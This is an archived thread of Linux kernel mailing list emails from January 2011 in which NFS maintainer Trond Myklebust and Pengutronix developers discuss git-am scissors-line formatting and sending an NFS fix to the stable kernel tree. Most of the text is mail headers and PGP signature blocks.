	 Mon, 10 Jan 2011 08:25:35 -0800
Original-Received: from 10.58.52.63 ([10.58.52.63]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Mon, 10 Jan 2011 16:25:34 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 10 Jan 2011 11:25:34 -0500
In-Reply-To: <20110110105019.GC24920@pengutronix.de>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 10 Jan 2011 16:25:35.0571 (UTC) FILETIME=[02788A30:01CBB0E3]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8759 gmane.linux.nfs:38114 gmane.linux.kernel:1085692 gmane.linux.ports.arm.kernel:102025 gmane.linux.ports.parisc:3365
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8759>

On Mon, 2011-01-10 at 11:50 +0100, Uwe Kleine-K=C3=B6nig wrote:=20
> Hi Trond,
>=20
> On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrote:
> > -------------------------------------------------------------------=
----------------=20
> It would be great if you could add a "8<" in the line above next time=
=2E
> Then git-am -c does the right thing (at least I think so).

Sorry. I wasn't aware of that particular idiom. So something like

8<------------------------------------------------------------
=46rom: Trond Myklebust <Trond.Myklebust@netapp.com>
Subject: .....


--=20
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 18:08:19 +0100
Organization: Pengutronix
Lines: 60
Approved: news@gmane.org
Message-ID: <4D2B3D03.8050504@pengutronix.de>
References: <1294268808.2952.18.camel@heimdal.trondhjem.org>	 <1294270104.16957.73.camel@mulgrave.site>	 <1294335614.22825.154.camel@mulgrave.site>	 <1294336054.2905.1.camel@heimdal.trondhjem.org>	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>	 <1294426405.2929.23.camel@heimdal.trondhjem.org>	 <20110107190229.GX31708@n2100.arm.linux.org.uk>	 <1294427467.4895.66.camel@mulgrave.site>	 <1294505384.4181.14.camel@heimdal.trondhjem.org>	 <1294528551.4181.19.camel@heimdal.trondhjem.org>	 <20110110105019.GC24920@pengutronix.de> <1294676734.3349.10.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enig534B58FE496CACCAD7436DD7"
X-Trace: dough.gmane.org 1294679359 32689 80.91.229.12 (10 Jan 2011 17:09:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 17:09:19 +0000 (UTC)
Cc: =?UTF-8?B?VXdlIEtsZWluZS1Lw7ZuaWc=?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 10 18:09:13 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PcLF2-0008I5-C3
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Mon, 10 Jan 2011 18:09:12 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754359Ab1AJRJK (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Mon, 10 Jan 2011 12:09:10 -0500
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:34279 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753503Ab1AJRJK (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Jan 2011 12:09:10 -0500
Original-Received: from gallifrey.ext.pengutronix.de ([2001:6f8:1178:4:5054:ff:fe8d:eefb] helo=[127.0.0.1])
	by metis.ext.pengutronix.de with esmtp (Exim 4.72)
	(envelope-from <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1PcLEI-0005XS-K2; Mon, 10 Jan 2011 18:08:26 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101208 Thunderbird/3.1.7
In-Reply-To: <1294676734.3349.10.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
X-Enigmail-Version: 1.1.2
X-SA-Exim-Connect-IP: 2001:6f8:1178:4:5054:ff:fe8d:eefb
X-SA-Exim-Mail-From: mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38116 gmane.linux.kernel:1085715 gmane.linux.ports.arm.kernel:102028 gmane.linux.ports.parisc:3366 gmane.linux.kernel.cross-arch:8761
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38116>

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig534B58FE496CACCAD7436DD7
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

On 01/10/2011 05:25 PM, Trond Myklebust wrote:
> On Mon, 2011-01-10 at 11:50 +0100, Uwe Kleine-K=C3=B6nig wrote:=20
>> Hi Trond,
>>
>> On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrote:
>>> ---------------------------------------------------------------------=
--------------=20
>> It would be great if you could add a "8<" in the line above next time.=

>> Then git-am -c does the right thing (at least I think so).
>=20
> Sorry. I wasn't aware of that particular idiom. So something like
>=20
> 8<------------------------------------------------------------
> From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
> Subject: .....

Yes.

=46rom "man git-mailinfo":
"A line that mainly consists of scissors (either ">8" or "8<") and
perforation (dash "-")"

BTW:
Is this patch a candidate for stable?

regards, Marc

--=20
Pengutronix e.K.                  | Marc Kleine-Budde           |
Industrial Linux Solutions        | Phone: +49-231-2826-924     |
Vertretung West/Dortmund          | Fax:   +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686  | http://www.pengutronix.de   |


--------------enig534B58FE496CACCAD7436DD7
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk0rPQYACgkQjTAFq1RaXHP/EQCfbaFRmy8UKv7kl4gfOuQoA60g
JMMAniTSFmoSq+LmU6ka2ylzC4XZa35c
=hVyS
-----END PGP SIGNATURE-----

--------------enig534B58FE496CACCAD7436DD7--
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 12:20:35 -0500
Organization: NetApp Inc
Lines: 39
Approved: news@gmane.org
Message-ID: <1294680035.3349.19.camel@heimdal.trondhjem.org>
References: <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
	 <1294336054.2905.1.camel@heimdal.trondhjem.org>
	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
	 <1294427467.4895.66.camel@mulgrave.site>
	 <1294505384.4181.14.camel@heimdal.trondhjem.org>
	 <1294528551.4181.19.camel@heimdal.trondhjem.org>
	 <20110110105019.GC24920@pengutronix.de>
	 <1294676734.3349.10.camel@heimdal.trondhjem.org>
	 <4D2B3D03.8050504@pengutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294680063 4652 80.91.229.12 (10 Jan 2011 17:21:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 17:21:03 +0000 (UTC)
Cc: Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Marc Kleine-Budde <mkl@pengutronix.de>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 10 18:20:57 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PcLQO-0007jL-A9
	for glka-linux-arch@lo.gmane.org; Mon, 10 Jan 2011 18:20:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753760Ab1AJRUy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 10 Jan 2011 12:20:54 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:14182 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752622Ab1AJRUx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 10 Jan 2011 12:20:53 -0500
X-IronPort-AV: E=Sophos;i="4.60,301,1291622400"; 
   d="scan'208";a="503623049"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 10 Jan 2011 09:20:53 -0800
Original-Received: from svlrsexc2-prd.hq.netapp.com (svlrsexc2-prd.hq.netapp.com [10.57.115.31])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p0AHKNIs012564;
	Mon, 10 Jan 2011 09:20:53 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.18]) by svlrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 10 Jan 2011 09:20:36 -0800
Original-Received: from 10.58.52.63 ([10.58.52.63]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Mon, 10 Jan 2011 17:20:35 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 10 Jan 2011 12:20:35 -0500
In-Reply-To: <4D2B3D03.8050504@pengutronix.de>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 10 Jan 2011 17:20:36.0672 (UTC) FILETIME=[B2149400:01CBB0EA]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8762 gmane.linux.nfs:38117 gmane.linux.kernel:1085728 gmane.linux.ports.arm.kernel:102029 gmane.linux.ports.parisc:3367
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8762>

On Mon, 2011-01-10 at 18:08 +0100, Marc Kleine-Budde wrote:=20
> On 01/10/2011 05:25 PM, Trond Myklebust wrote:
> > On Mon, 2011-01-10 at 11:50 +0100, Uwe Kleine-K=C3=B6nig wrote:=20
> >> Hi Trond,
> >>
> >> On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrote:
> >>> -----------------------------------------------------------------=
------------------=20
> >> It would be great if you could add a "8<" in the line above next t=
ime.
> >> Then git-am -c does the right thing (at least I think so).
> >=20
> > Sorry. I wasn't aware of that particular idiom. So something like
> >=20
> > 8<------------------------------------------------------------
> > From: Trond Myklebust <Trond.Myklebust@netapp.com>
> > Subject: .....
>=20
> Yes.
>=20
> From "man git-mailinfo":
> "A line that mainly consists of scissors (either ">8" or "8<") and
> perforation (dash "-")"
>=20
> BTW:
> Is this patch a candidate for stable?

Yes. I'm planning on sending it to the stable list after Linus merges i=
t
into mainline.

--=20
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 18:26:12 +0100
Organization: Pengutronix
Lines: 43
Approved: news@gmane.org
Message-ID: <4D2B4134.8050508@pengutronix.de>
References: <1294268808.2952.18.camel@heimdal.trondhjem.org>	 <1294270104.16957.73.camel@mulgrave.site>	 <1294335614.22825.154.camel@mulgrave.site>	 <1294336054.2905.1.camel@heimdal.trondhjem.org>	 <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>	 <1294426405.2929.23.camel@heimdal.trondhjem.org>	 <20110107190229.GX31708@n2100.arm.linux.org.uk>	 <1294427467.4895.66.camel@mulgrave.site>	 <1294505384.4181.14.camel@heimdal.trondhjem.org>	 <1294528551.4181.19.camel@heimdal.trondhjem.org>	 <20110110105019.GC24920@pengutronix.de>	 <1294676734.3349.10.camel@heimdal.trondhjem.org>	 <4D2B3D03.8050504@pengutronix.de> <1294680035.3349.19.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
 protocol="application/pgp-signature";
 boundary="------------enigB03AD1C9E96D095802186A7B"
X-Trace: dough.gmane.org 1294680419 6616 80.91.229.12 (10 Jan 2011 17:26:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 17:26:59 +0000 (UTC)
Cc: =?UTF-8?B?VXdlIEtsZWluZS1Lw7ZuaWc=?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jan 10 18:26:53 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PcLW8-0003JX-Gz
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Mon, 10 Jan 2011 18:26:52 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754497Ab1AJR0Z (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Mon, 10 Jan 2011 12:26:25 -0500
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:45845 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754480Ab1AJR0X (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 10 Jan 2011 12:26:23 -0500
Original-Received: from gallifrey.ext.pengutronix.de ([2001:6f8:1178:4:5054:ff:fe8d:eefb] helo=[127.0.0.1])
	by metis.ext.pengutronix.de with esmtp (Exim 4.72)
	(envelope-from <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>)
	id 1PcLVY-0006NP-FZ; Mon, 10 Jan 2011 18:26:16 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101208 Thunderbird/3.1.7
In-Reply-To: <1294680035.3349.19.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
X-Enigmail-Version: 1.1.2
X-SA-Exim-Connect-IP: 2001:6f8:1178:4:5054:ff:fe8d:eefb
X-SA-Exim-Mail-From: mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38118 gmane.linux.kernel:1085731 gmane.linux.ports.arm.kernel:102030 gmane.linux.ports.parisc:3368 gmane.linux.kernel.cross-arch:8763
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38118>

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enigB03AD1C9E96D095802186A7B
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

On 01/10/2011 06:20 PM, Trond Myklebust wrote:
>> Is this patch a candidate for stable?
>=20
> Yes. I'm planning on sending it to the stable list after Linus merges i=
t
> into mainline.

Fine!

regards, Marc

--=20
Pengutronix e.K.                  | Marc Kleine-Budde           |
Industrial Linux Solutions        | Phone: +49-231-2826-924     |
Vertretung West/Dortmund          | Fax:   +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686  | http://www.pengutronix.de   |


--------------enigB03AD1C9E96D095802186A7B
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAk0rQTcACgkQjTAFq1RaXHO9MQCgmA21avxf6PdqzeplTRBQdkNG
LpcAn3jizA94+Hir13eNM71rLh7GPz0M
=NEJ5
-----END PGP SIGNATURE-----

--------------enigB03AD1C9E96D095802186A7B--
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 20:25:52 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20110110192552.GG24920@pengutronix.de>
References: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
 <1294426405.2929.23.camel@heimdal.trondhjem.org>
 <20110107190229.GX31708@n2100.arm.linux.org.uk>
 <1294427467.4895.66.camel@mulgrave.site>
 <1294505384.4181.14.camel@heimdal.trondhjem.org>
 <1294528551.4181.19.camel@heimdal.trondhjem.org>
 <20110110105019.GC24920@pengutronix.de>
 <1294676734.3349.10.camel@heimdal.trondhjem.org>
 <4D2B3D03.8050504@pengutronix.de>
 <1294680035.3349.19.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294687568 13904 80.91.229.12 (10 Jan 2011 19:26:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 19:26:08 +0000 (UTC)
Cc: Marc Kleine-Budde <mkl@pengutronix.de>, linux-arch@vger.kernel.org,
	linux-nfs@vger.kernel.org,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 10 20:26:02 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PcNNS-0004CD-B3
	for glka-linux-arch@lo.gmane.org; Mon, 10 Jan 2011 20:26:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753472Ab1AJT0B convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 10 Jan 2011 14:26:01 -0500
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:60045 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753002Ab1AJT0A (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 10 Jan 2011 14:26:00 -0500
Original-Received: from octopus.hi.pengutronix.de ([2001:6f8:1178:2:215:17ff:fe12:23b0])
	by metis.ext.pengutronix.de with esmtp (Exim 4.72)
	(envelope-from <ukl@pengutronix.de>)
	id 1PcNNM-0002b2-S7; Mon, 10 Jan 2011 20:25:56 +0100
Original-Received: from ukl by octopus.hi.pengutronix.de with local (Exim 4.69)
	(envelope-from <ukl@pengutronix.de>)
	id 1PcNNI-0005Wp-QO; Mon, 10 Jan 2011 20:25:52 +0100
Content-Disposition: inline
In-Reply-To: <1294680035.3349.19.camel@heimdal.trondhjem.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: 2001:6f8:1178:2:215:17ff:fe12:23b0
X-SA-Exim-Mail-From: ukl@pengutronix.de
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-arch@vger.kernel.org
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8764 gmane.linux.nfs:38119 gmane.linux.ports.parisc:3369 gmane.linux.kernel:1085789 gmane.linux.ports.arm.kernel:102042
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8764>

Hello Trond,

On Mon, Jan 10, 2011 at 12:20:35PM -0500, Trond Myklebust wrote:
> On Mon, 2011-01-10 at 18:08 +0100, Marc Kleine-Budde wrote:=20
> > On 01/10/2011 05:25 PM, Trond Myklebust wrote:
> > > On Mon, 2011-01-10 at 11:50 +0100, Uwe Kleine-K=F6nig wrote:=20
> > >> Hi Trond,
> > >>
> > >> On Sat, Jan 08, 2011 at 06:15:51PM -0500, Trond Myklebust wrote:
> > >>> ---------------------------------------------------------------=
--------------------=20
> > >> It would be great if you could add a "8<" in the line above next=
 time.
> > >> Then git-am -c does the right thing (at least I think so).
> > >=20
> > > Sorry. I wasn't aware of that particular idiom. So something like
> > >=20
> > > 8<------------------------------------------------------------
> > > From: Trond Myklebust <Trond.Myklebust@netapp.com>
> > > Subject: .....
> >=20
> > Yes.
> >=20
> > From "man git-mailinfo":
> > "A line that mainly consists of scissors (either ">8" or "8<") and
> > perforation (dash "-")"
> >=20
> > BTW:
> > Is this patch a candidate for stable?
>=20
> Yes. I'm planning on sending it to the stable list after Linus merges=
 it
> into mainline.
So there is another idiom for you:  just put

	Cc: stable@kernel.org

in the S-o-b block and Greg will pick it off "automatically".  (Just in
case you don't know, and if you do, maybe someone else learned
something.)

Best regards
Uwe

--=20
Pengutronix e.K.                           | Uwe Kleine-K=F6nig        =
    |
Industrial Linux Solutions                 | http://www.pengutronix.de/=
  |

From - Thu Nov 08 21:06:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Mon, 10 Jan 2011 14:29:27 -0500
Organization: NetApp Inc
Lines: 67
Approved: news@gmane.org
Message-ID: <1294687767.3349.28.camel@heimdal.trondhjem.org>
References: <AANLkTimusF4KCJ4vHPn+T1dUiKxapXaT0QTtFvh8Ykdd@mail.gmail.com>
	 <1294426405.2929.23.camel@heimdal.trondhjem.org>
	 <20110107190229.GX31708@n2100.arm.linux.org.uk>
